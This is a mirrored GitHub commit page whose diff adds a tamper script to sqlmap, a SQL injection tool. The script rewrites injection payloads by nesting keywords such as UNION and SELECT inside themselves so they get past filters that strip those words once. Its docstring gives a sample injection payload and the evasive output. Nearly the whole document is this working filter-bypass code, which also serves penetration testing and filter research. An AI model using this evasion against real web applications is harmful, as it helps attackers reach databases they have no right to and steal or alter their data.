Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 9451bfc

Browse files
committed
Update for Issue #163
1 parent dbce417 commit 9451bfc

1 file changed

Lines changed: 41 additions & 0 deletions

File tree

tamper/nonrecursivereplacement.py

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
5+
See the file 'doc/COPYING' for copying permission
6+
"""
7+
8+
import random
9+
import re
10+
11+
from lib.core.common import singleTimeWarnMessage
12+
from lib.core.enums import PRIORITY
13+
14+
__priority__ = PRIORITY.NORMAL
15+
16+
def tamper(payload, headers):
17+
"""
18+
Replaces predefined SQL keywords with representations
19+
suitable for replacement (e.g. .replace("SELECT", "")) filters
20+
21+
Example:
22+
* Input: 1 UNION SELECT 2--
23+
* Output: 1 UNUNIONION SELSELECTECT 2--
24+
25+
Notes:
26+
* Useful to bypass very weak custom filters
27+
"""
28+
29+
keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE")
30+
retVal = payload
31+
32+
warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords)
33+
warnMsg += "You can set it manually according to your needs"
34+
singleTimeWarnMessage(warnMsg)
35+
36+
if payload:
37+
for keyword in keywords:
38+
_ = random.randint(1, len(keyword) - 1)
39+
retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)
40+
41+
return retVal, headers

0 commit comments

Comments
 (0)